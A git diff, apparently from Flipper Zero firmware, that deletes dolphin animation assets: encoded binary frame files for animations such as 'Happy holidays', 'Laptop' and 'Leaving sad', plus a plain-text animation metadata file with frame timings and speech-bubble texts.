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 MOlySk7nCGEz?UPCtpET3 diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_4.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_4.bm deleted file mode 100644 index 3f2aee1e5bb68ea60466cc8668022141cfcd8a1b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 893 zcmV-@1A_bk0C@xdfEGXC1TX=m;QpiV0EGb;4wtm-(tiN(1Ih&%Epti)0v^RPlc-~H?c-9!hJ0tOEl$ASYqiC5q@pm@YV;{^P`XC4SR zJb(CmI6W~Rn2qDXKL?JV34g*tA}+D`er7+82mXE!D~LRDFOlGWZyt&WJpO?4sHue> zH;g48{0~3=eh6O^`F|jk|KL2Ph+%}tkLB_IK_{P&_yGas0D$~=@KT_x$N*57kPL8N zIsOg4AoYa<%L((3&G$NP)kpfET+ zf?^*lghSi!@c-iYNFVY6V4nxep%eD^_#f!MG6cCP;C!+l|9$)(KY#oX9#S9tyq+=t zW$yw1tKR|Tu#v%IK=FrrFYpiDUg-!2jN!gB;CRD5lXwQm9x(uUOX2?H*?Z*Uk^9Z; z0P&7bqO^Mb4u$PxkHRk`zyr_6%imE!=imp70e&&bm`~pi6K;-}7FhTKYC-4iv6nq#8 z1p)yHfdkjz4_pKg9+B{1jfcSkkkSF`l83-J5HNV$Bh^57lZYO82sk`(7z#)|fr9`E z4}%jzkptHw3y?q~!1Aa{un-`5@?iA{1n`76JS0Yf4_2#)4NE2t2G1kMW#f_o`q#pb%hq#u?*0iC6LWuz1Kp;|K?g7gV%Wk(7+Gn zc=}QQ!1FN-5WXkz#Q!*y|KL2FWAKE~kL8i)VJH89*nkWkPzV-B9|ebeAnQT^3?@Va z7$#01gKvmEVPB{OG8L19&>$xP04FXF1N=mEP<#OtfATo@mJ!F9!yumshL~1=|Aroa z{P4r$0FjV!pld?sYb??kUuFj|1q}lp4=G18M;`FXIPeLF0s+9whtDyghF|9tGdRFt zH~@L3gmyRo#*PDLpB9Es0f$Z?8UT3M{}MbEpfVuxjnf9AkrklGXq5nYOYkxrFcf|e zINu^cNC%w%0mH%2ARn9*e>q^Nb`fL1k>DseCn(>1QUCqpp~t_2#zTOi;jj=n|Nrm* z-`GA8@Oa1{g&)V~Kl(ra=flqzl!MV5l0-k;|Nn>o^V8r-;tw9gwn;FKdw={N_1^UX zfx*Y(A1j1o+uwPO-w6Z$7sx(c2%o?I0N>sCkRf>ZC*ktQfBoi>`~Cg!KzaY={3jkh9{Pe0F?h)!5HNX2L+HsL^B7X@%RVGOhR%00K@<>d*{GDP#yrhVfGMt#yDRO|Kzqm;aI{VAoGp`#t#6l M6U1Inka@?!;+wtm-(tiN(1Ih&%Epti)0v^RPlc-~H?c-9!hJ0tOEl$ASYqiC5q@pm@YV;{^P`XC4SR zJb(CmI6W~Rn2qDXKL?JV34g*tA}+D`er7+82mXE!D~LRDFOlGWZyt&WJpO?4sHue> zH;g48{0~3=eh6O^`F|jk|KL2Ph+%}tkLB_IK_{P&_yGas0D$~=@KT_x$N*57kPL8N zIsOg4AoYa<%L((3&|!Sd)t!Q;aZk1_Unx{AHL)gagSxe~khG_=CcKls*uUM~480NCDy>ALai1 z3K8Ixg?b?I_y@>LPzXkN1~3i;UU~2jlox<67=45uUI_gQ;s5-W$NX6sL_{86fO#fH OxK9z-!XY5?{{zVG1)d%N diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_7.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_7.bm deleted file mode 100644 index 32758660c24335e2ded4a470789216e8bdd7e6ba..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 893 zcmV-@1A_bk0C@xdfEGXC1TX=m;QpiV0EGb;4$4|_^;~gsapL#L1pYCk6`%j%hoApE zF?bvTJs9Ev1>ijGWtu}P?BPQt7{&w2QOwcDyfThG6cRAVhHyT4jSMpXIN^iJAutD; zXnZjH|Ko>8hqH!ZK7hlg5Dfr4Y+&)?d>}9&c}D4w4gy40gTcZ;KhPV5{{tbzAP3fPmk8QUCtq1AhmI{BRUJHUbAf|NZ~_ z^)ScI13Z2de;=Ix=>PYa2k~|=iN~ThB#3{x|NjsEXW;yl1Rgz!Y?5Id_W$@l=)6KS zKM?v{BOc!S%wh2eqQIwt^5{hU|M&*}KM;vPAo2P!4H#RkK^EFCJ20rVvragLmvUmKp@b#PVjy*>?Fbg$4|_^;~+0|KK(t1BAr`;~mK3;IQw69cVxS2bBsv zl84~ff)7|wJby9FlpcWrI0ykEaEJ$%VWNZJAQ%t)jy>gsapL7M2ab?dfB%LafBf*p z=x`70!-)fU7du&IkjncwP)Pn{7=U?7Ihr{4hEd0&f<_G?%m>dgp@v`Q958uAECBOO z4~8Fq{BY>-_ymH%Jb=Te5Dfr4Y+&)?L?94=c}D4rVMvP5csNf41_|JwU}QLC0Q?|v zzDEKH0slb3a9~t}>G!GbexwJkDzf$=DxL7C9dGI`8fb`B!;P8)x@*nO<2>fBLG5f{v5SSo5 zVl;aF4u$Uzj{@%!piZD)3CE9zzMzB5UNI>LDg*eO$V2G4ANT$zAca6bm-!HUxIpp1 zU|wtm-(tiN(1Ih&%EuvQNVxXaqlc6k5>;3`{Cz@icA0S!_WVo z8n`HUJ`OlMq8#mInnNq>@lT_G@MFQ{DCTJ6-Wf+8i$Dbr11=vt#)cVxlyLC42nall zXYlaD@BfY*9s>q~a3rvJbm9S^ki+b7jvNvN7=dskka*p2N;(KU|8c>BK|Bbdlwjnz z;;}&E{Eh??5Kka@@bKVa_~4`Y#i))19&}t30t0>VNB{eXC*ZzQj1LbD0D(@|#fJxp ztb7tr$RuO<%;o>T|HOmDUOovIqBkUnemVdDKmX?kCzpal*p|sA5sz>G$NP($#2#Vt zxI{g^{}28zgrA4op%eD^_#f!KlYkE?kbJTq|9$)(KYYCW-Z}~I{$5WQ|FZXh|JC}J z=ncYQJA%f6;|}&;;2*laa(-bMgqjaN2aGe>H-K!a@k|6J2{4vJ{mHWT$>1LkyiS2S zflMcnT0MS;LiVah;TMTWIZzqIV6=K+9&$|3vSKz^US^?f2Z3xo>*QY*ZA2lW2mtKzZ1 zdI9G^w`0ZQ{{L5l<@|y0A?fk_Q^DvTAb89a1^1i4E}#GPb_Nd{cE zZ!j1bJbWJ*_&qK_@&9-h1%UUE#2(1;fKQZz{#T9C|NO4}s3`KlNMIa}KRyR^-~NN+ zLS>bM_{kgn-VJo`{ek0p2b5v`@_c_Y z>ix=8J|d8T2jPDQi+q9S7zd>N{($os2n@d+_jt$t0P&3i%YY9*`8-aeU;nLyfM5as ze}&=?C|X8AGkb1r2w8lz+(spoKN5nRZ&C%<-m;OAi(pI1I7&?Bph>K1tKx1 tM}R3V1b?6kAON-q4wL@`ygXn6KZ$@qLm-enL;$`3`V9~P;12+J0DzyW_2~cr diff --git a/assets/resources/dolphin/L1_Laptop_128x51/frame_1.bm b/assets/resources/dolphin/L1_Laptop_128x51/frame_1.bm deleted file mode 100644 index 210f0c918cea285c191659adaf8d55e740f72e12..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 557 zcmV+|0@D2f04V|hYy=2+2pBoRC4hr~h6E3)J|YABhlAdM1b|v86Q~@(9`Xo81L05S zKsW&Rh(sVCdVIJJB?p8^AQxN2cn%|B5sV&r0RDgf_xrsr92X!E*dY-xvCu9Qh%nrZ zMUV;)&^|Tr_@77~Pzs1WL*fr2Fn|W6EfD&w$R2e-xP#8?NC%Yw9$tVrhtrV&z5~y} zc4QCIKky%jJa9ns%zJJi@$>V6=K+9&$|3vSKz^US^?f2Z3xo>*QY*ZA2lW2mtKzZ1 zdI9G^w`0ZQ{{L5l<@|y0A?fk_Q^DvTAb89a1^1i4E}#GPb_Nd{cE zZ!j1bJbWJ*_&qK_@&9-h1%UUE#2(1;fKQZz{#T9C|NO4}s3`KlNMIa}KRyR^-~NN+ zLS>bM_{kgn-VJo`{ek0p2b5v`@_c_Y z>ix=8J|d8T2jPDQi+q9S7zd>N{($os2n@d+w|K|?0P&3i%YY9*={!!OU;nLyfM5as ze?{UCCL3O12hu;lFCYWJ9su|N)o=Bl diff --git a/assets/resources/dolphin/L1_Laptop_128x51/frame_2.bm b/assets/resources/dolphin/L1_Laptop_128x51/frame_2.bm deleted file mode 100644 index ff2851c280846f4470944424c7acfaee9acc2d6f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 560 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 diff --git a/assets/resources/dolphin/L1_Laptop_128x51/meta.txt b/assets/resources/dolphin/L1_Laptop_128x51/meta.txt deleted file mode 100644 index 0c3edb057..000000000 --- a/assets/resources/dolphin/L1_Laptop_128x51/meta.txt +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 51 -Passive frames: 6 -Active frames: 2 -Frames order: 0 1 2 3 4 5 6 7 -Active cycles: 4 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 60 -Y: 23 -Text: I have to rest -AlignH: Left -AlignV: Bottom -StartFrame: 7 -EndFrame: 10 - -Slot: 0 -X: 60 -Y: 23 -Text: but not today -AlignH: Left -AlignV: Bottom -StartFrame: 11 -EndFrame: 13 diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_0.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_0.bm deleted file mode 100644 index d4cf85bada7670d1b6d1fccf281fcfbea3533e1e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 514 zcmV+d0{#5~0R900HUJ;s{|ER#!Tt~MGXFo|{elPhAK?E7_&#_a|NJ~3bO0E_0r~&_ zLc#fgf+_1S0_hxEt6Wya)gUQR*)_1V+FO z7z#dS009CF48J-Eq+kdzV0?#$7!SetgUT2Wj0DDM1_$24#ZZHT@8NXYz`)}eH^;O4 zln0Ff9!T>Cm&*HI2dBgT|Br*uiEkH{03I;_V1S4oIgOnh9#a7PNI!D&c}#EsF#s4m zXdk)wKRg0)2jqdcKp~j}{2rI#`GeAE4@?L>Fc9#1l1u)|5J30??Qjs2sGv81IbH$f z7z30R03sOR9J>JWrT~WkKM=5p$R2=lpaaN!a14QHU=%PA$N}YmfP>co!TVQZpz$$? zJmMHIIHpPw{5g^&!Q(`-KaPz=2dsk)nViA^!vf9bU>pE(LIL9Kf8&^R9y0LUa6k1=GY_X{KMX`JK=Ot&20jlPVfbvp^#_wQv1j4L E03aFJ-~a#s diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_1.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_1.bm deleted file mode 100644 index f1f0e89f0bf92ab9618b0b7416579212bc000e05..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 526 zcmV+p0`dI;015&CHUJ;s{|ER#!Tt~MGXFo|{elPhAK?E7_&#_a|NJ~3bO0E_0r~&_ zLc#fgffO%jd@DIoS1`k?5Jg5g@jzA#h^#`;X0Srf|yyOuW z1P%chN6f-ufGCIzOYxwJ1N1&T03g@_@;?xMU?ww55FB^__}Eyg7f^ltE}MHq0vrz` zdwV~*Nz?)(fWV{B9$zc%dTI|phyVW{2cHt(x13-k0P%=1v0-uyo>ePBWB90!&h3?!2O!Q0{p7_dCC zpkcTON(=%R2tDHf@`AtwMH2^>WEM2Q5a0*m79IdSg=IhomxF&H2aW?^2pSj&WB~FK z2t9BdAGLNm4-+9s0px5X$wEJX;sgu4ycA0#_~_I?d*){_fOx>OWpW>gJhl=j(JZhs zIS_oPAn~AVIgrQ@WOy9TXNTbjqrf6G4CF=*s2T-=A_*D<3CuAb20zRwDgDCDW&;)c z9#}s>cwiRH#v>4rD*!yO6Tj~B_v4;S=3w&RKp|EP2fGDB;&>?ZN+2|6;Pj2xeUtqL zWB?^WkORgEVDNb)aR_9BL;w?@$HC%4AAww;egp9H90pn$gh3`M(U>2GBG52-z$4)C QwjYMfA8E#S?_px7MM3xQx^3kK`}Tiwm85(F%jJEqWm+YG_<#TL@Okkq`+Gn<;s7xL5Il1m zIy_WAau3|UL_ahkgU*5bpV)!-;1i7eA94kW1N?u6bO-o8K?J8De83Tc1R#9>;NT$- zD*zy&ZL*Z{%g2S5Vf!RJH(Fg^1i1{$C69#S9!3=ifHE?@z?KL|d% zm=7q30jLxR6_aoeD=-0!D4-k$AOOf@fdj^70APEc-T}a0h&<2nK#&8_{@{_1gV6rt O_dmJ4&+Z;K;UD0o(vidf diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_11.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_11.bm deleted file mode 100644 index fe93787f2dbaa45e6546910e547ae553947e3827..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 294 zcmV+>0oncm03rbZHUJ;s{|ER#!Tt~MGXFo|{elPhAK?E7_&#_a|NJ~3bO0E_0r~&_ zLc#fgf2W^ zzlsC&KlAbX1LA1{SLOPl6%XYHZzwnC|36wsz&$_tR*7If0CA6l+TIU1fDAxH4@mfb zwd3Hq#h!Rdepj07Hd7$hhjgMtU=fF3X~en5Nx{D^;}2uMGSqz}6Q z6oL3I-A zU;%;e5dbi}_5kv;02n@jLBL`F3=cTO2p%&q0|VUt@Hjv{Pw)>IKs?Xz!Vr2N;1(eC UKf$bFAA@-x-vpF diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_2.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_2.bm deleted file mode 100644 index 3050ba38f22ac4c8f1ccac17830bfd3455abaa1f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 542 zcmV+(0^$7u02%@SHUJ;s{|ER#!Tt~MGXFo|{elPhAK?E7_&#_a|NJ~3bO0E_0r~&_ zLc#fgfqEK2tVN7p!VtSN3MM3xQx^49f z64)Ex+5O6Pf#{Dgd3>+6?yMXhUl0HOJ`X-6zi()A7Q!F{5D^2%F|(u1K?EO(2ku`Q z510&q1P>Yq?tcyh7GNI!0XUP0A2I+StBHOf`cD)CI1M}S{K4z82c85Tm;~`aJU}5N zktnbL_27Vp;07X5KzIOhzySsw7z30R03r~1zyO0grUi(8FbKdr;vNhIgjQ4ld3Z17 zQuuH994Z(rWB~GjSO8_<&)6`WAGLNm4-*)N#sm`_1pknkC`a(-Q}Ym$hXWkAKaPz= z2a*U&1BZmnApl{4X7eCHm@J9`{)fg1Wr2~%gXB0U2jV{rB8pUboX-!!Za5?fLI|Tk zutZ`s3Ixb-K=SwsO5tX+0Z1N^i9if(nT$pu9#Ft}&p4aU-;Q}RnS;_`1s{JBhs5wv z=#)fI-{HV9dJJyI?4Rf}AOR{5f*u_i_v6Vwh(jb2AOM{QKN~+1+`sTY0r+`^qX(2< g0F@XN!2B@~xkuJylMpDtt%u>W2h<)+(#4;L5FzQ{VgLXD diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_3.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_3.bm deleted file mode 100644 index 0c0c832385caef6fc7bcbcfb485699100bc5df3e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 557 zcmV+|0@D2f04V|hHUJ;s{|ER#!Tt~MGXFo|{elPhAK?E7_&#_a|NJ~3bO0E_0r~&_ zLc#DX932A#1cd|R;s3{j^YQ=BgYt0z&jaQHJ{~{+LJv#8Jg^aQaR3H_4>~|Rs0U$k zhyZEk^9Q&19#!;ti_Sq2fCEG%H}reVCIIn|kcR$WeFRV*Fm#Cn+&*7890R})f%xD) zC?W^G0%J76d|D@A(0t2hK6TgA2?39|xQ;9$pFj8IWHH9v~i2 zM@g=T0Ca$QtxgaRI$@B%fYJw%0N@m0c~Pj8KzWQ3h7T;(XEF&a8l;b7BL|d-03q_> zhmXM`LKi!k%<%jm{xEso1LY8j#9}lG1PkU5Kk%TZ_Iov$3_$bXd&q?>#NraA0PhEm zcm3Xe{Btk>g3Fk$E&sa(L*jTSr|}ew|9~zm3~syZpXd+5e;NdU9)1rbjv)*`njmA~ v^Y|&xz}PCWh|3 diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_4.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_4.bm deleted file mode 100644 index 5e74ea12ae20161d809bc90a813fe9be78929a4a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 488 zcmV<%yeeI8=-kVJ3*^S`6sVK7#T|)H4`lBX0Km`YpD=k) eBhms0%n#(BICwm~5%75159Hf0d4Y-ri$9QvY}0N4 diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_5.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_5.bm deleted file mode 100644 index 5c556cfdfd3f46173b2f6eb279797637000bb792..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 469 zcmV;`0V@6h0MP*eHUJ;s{|ER#!Tt~MGXFo|{elPhAK?E7&*B~r-}nFi5g>enh5-l% z@AeiCt^hn>@SuH&L?4q6{r(6Kvhhd3?Exn!fI;JU2bKaZ4=(^bzu@tt1ImDQAbOj` zA44Jsh`i(x5P8qaM2}g7z@BmN82K!NwL zu~Z_U`}kcp@_>0y3GeLwR;45T*k7|G~gQ4?ejxO?ej~aA`OqCi4>)!L2OvL?oMYhjxF|&aL-?6Ppb`W58`K_LC<{bSXD1+1Da2WmI9#{ytJ%6C_|I$I_K!h9E093Gir^bE) z8~8k=5fFP5NBsu}l)_*SVz~bS=b(xY*a$y}7=BCQ1RsP1e>4gR5Ml`Oz)WV4AbspC zRS2j(EFiH5pTg<4lmpU!Ul4iwKe$!mPh|GQy|NKM%GztU?$+!oVnoUsPU@Z1)F@+QZ zfW%rd0CC0QF$n~L1IA}_h&D!LGns?j@-TpS(SV}>;4j1;d78*Pvq$ovNCD|0@eYbc pg)9Vo9*2KBl!o7_$TtjQ9y%<0*Hd~*c<== diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_7.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_7.bm deleted file mode 100644 index e992d75c7a000c28168c9a683b2cd8a00694f195..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 486 zcmVMe+nUkfkr_Q z54bo%=P;NL-~7T&1W+FkKg4`LkPiSnhwcv>)B}Jo90bN`0tdAy)+X`TSgH|Fef%z) zc|twG=j{IFD@gXFKtbj5zSpv?62N>9gMSa765qG91I{3MC=fie8#+8xKGX2|$Uk!Z z5d6SoA`p2{KXdyKKKuf62h@RLK=zC)#2=7|CIEgya|g5tAF#*{3?3kYgag|h0KrE< zqKpurgV!_(8N37k2LT8@xq=M)6-f(h@=Z)VyHzy^BjPDE}MBlzG09LXZI;uN5DM3 zSK9VfqF4`y|NkEclnaS(+u8x=5CMn?ppXp4&W{xj%o0H${mb-2^FkN^aFQAa?tfwj z%@RT26O8;HGC_E(NFOsme@{P%ax;)U?2$lz(IS9?Q;@3zR|h04abzmBIiZc>&M>KfoDZ!RJH(ClbI9e8>TG15^G3%0vJ^7ruTp zKbSnZfCH9ZJRTo}A6?7`ltch?8H9p?K!I5|0P?c{5&>{BqJVH1fC2J9`1CSBf#Wj( xFg?%e02l`WejxKdwq^l9kOR>EfC2=Jd>)7N01*Ap=l~;opVb0D0)7$wKm>gitj+)c diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_9.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_9.bm deleted file mode 100644 index 6ebc55c16edc741797d5b69ba3482afcaa5896cc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 317 zcmV-D0mA+P0678wfENA-U;~5vAK?E7_&>qz12^~VKfwP7_&>q(KV=WVAA9f^{lWPF zf&Bsbe*OJH{txhfgV+2IoH#tM{(yY#!R5a@5xv3ok1=`o{mA|2^UM2R^@H?3|t=KG1jt$I{^1IinM(At_Me}}*z9sqgH@)V4?JpJG?0T4WF 